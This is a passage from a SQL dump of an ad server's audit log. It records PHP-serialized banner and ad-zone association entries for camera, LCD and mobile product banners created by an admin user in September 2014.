08:21:04',2,3,NULL),(211,1,'banners',4,NULL,'a:44:{s:8:\"bannerid\";i:4;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"c4b403cbcaa88ab0314bb410a7a5ee43.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:160;s:6:\"height\";i:160;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera1\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:23:25\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera1\";}',1,'admin',0,'2014-09-17 08:23:26',2,3,NULL),(212,1,'ad_zone_assoc',4,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:4;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:4;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #4 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:23:26',2,3,NULL),(213,1,'banners',5,NULL,'a:44:{s:8:\"bannerid\";i:5;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:3:\"png\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"6c5de61af7427cf6e586adae7aa0d6d1.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:172;s:6:\"height\";i:163;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera2\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:23:42\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera2\";}',1,'admin',0,'2014-09-17 08:23:42',2,3,NULL),(214,1,'ad_zone_assoc',5,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:5;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:5;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #5 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:23:42',2,3,NULL),(215,1,'banners',6,NULL,'a:44:{s:8:\"bannerid\";i:6;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:3:\"png\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"c569cf62c790549e342557b7054b539c.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:147;s:6:\"height\";i:122;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera3\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:24:04\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera3\";}',1,'admin',0,'2014-09-17 08:24:04',2,3,NULL),(216,1,'ad_zone_assoc',6,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:6;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:6;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #6 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:24:04',2,3,NULL),(217,1,'banners',7,NULL,'a:44:{s:8:\"bannerid\";i:7;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"5b198e258983daed4d8898250ae7d773.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:227;s:6:\"height\";i:222;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera4\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:24:18\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera4\";}',1,'admin',0,'2014-09-17 08:24:18',2,3,NULL),(218,1,'ad_zone_assoc',7,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:7;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:7;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #7 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:24:18',2,3,NULL),(219,1,'banners',8,NULL,'a:44:{s:8:\"bannerid\";i:8;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"b1af8018625cf9854fa7c82a812d454c.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:237;s:6:\"height\";i:213;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera5\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:24:31\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera5\";}',1,'admin',0,'2014-09-17 08:24:31',2,3,NULL),(220,1,'ad_zone_assoc',8,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:8;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:8;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #8 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:24:31',2,3,NULL),(221,1,'banners',9,NULL,'a:44:{s:8:\"bannerid\";i:9;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"511d2fc922e04b9aae0f256965c969d6.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:240;s:6:\"height\";i:159;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Camera6\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:24:47\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Camera6\";}',1,'admin',0,'2014-09-17 08:24:47',2,3,NULL),(222,1,'ad_zone_assoc',9,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:9;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:9;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #9 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:24:47',2,3,NULL),(223,1,'banners',10,NULL,'a:44:{s:8:\"bannerid\";i:10;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:3:\"png\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"d7926a182ce3afc35e7664832babc74d.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:202;s:6:\"height\";i:139;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD1\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:25:02\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD1\";}',1,'admin',0,'2014-09-17 08:25:02',2,3,NULL),(224,1,'ad_zone_assoc',10,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:10;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:10;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #10 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:25:02',2,3,NULL),(225,1,'banners',11,NULL,'a:44:{s:8:\"bannerid\";i:11;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:3:\"png\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"d0d441bd210df32ebdaacf550d1e962e.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:206;s:6:\"height\";i:138;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD2\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:25:17\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD2\";}',1,'admin',0,'2014-09-17 08:25:17',2,3,NULL),(226,1,'ad_zone_assoc',11,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:11;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:11;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #11 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:25:17',2,3,NULL),(227,1,'banners',12,NULL,'a:44:{s:8:\"bannerid\";i:12;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:3:\"png\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"d2fc322cf1102b20751a980776a2f076.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:175;s:6:\"height\";i:125;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD3\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:25:28\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD3\";}',1,'admin',0,'2014-09-17 08:25:29',2,3,NULL),(228,1,'ad_zone_assoc',12,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:12;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:12;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #12 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:25:29',2,3,NULL),(229,1,'banners',13,NULL,'a:44:{s:8:\"bannerid\";i:13;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"dfd581f7e46a75bc7116d29639d84a0b.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:171;s:6:\"height\";i:128;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD4\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:25:40\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD4\";}',1,'admin',0,'2014-09-17 08:25:40',2,3,NULL),(230,1,'ad_zone_assoc',13,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:13;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:13;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #13 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:25:40',2,3,NULL),(231,1,'banners',14,NULL,'a:44:{s:8:\"bannerid\";i:14;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"acc42831222497131439fec5b972cce4.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:172;s:6:\"height\";i:123;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD5\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:25:52\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD5\";}',1,'admin',0,'2014-09-17 08:25:52',2,3,NULL),(232,1,'ad_zone_assoc',14,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:14;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:14;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #14 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:25:52',2,3,NULL),(233,1,'banners',15,NULL,'a:44:{s:8:\"bannerid\";i:15;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"76e20f0c5081c68915e528b0b88922cb.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:157;s:6:\"height\";i:128;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:4:\"LCD6\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:26:04\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:4:\"LCD6\";}',1,'admin',0,'2014-09-17 08:26:04',2,3,NULL),(234,1,'ad_zone_assoc',15,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:15;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:15;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #15 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:26:04',2,3,NULL),(235,1,'banners',16,NULL,'a:44:{s:8:\"bannerid\";i:16;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"bbaea7b89db953cb71fe8f670b0f0f37.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:285;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile1\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:26:29\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile1\";}',1,'admin',0,'2014-09-17 08:26:29',2,3,NULL),(236,1,'ad_zone_assoc',16,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:16;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:16;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #16 -> Zone #0\";}',1,'admin',0,'2014-09-17 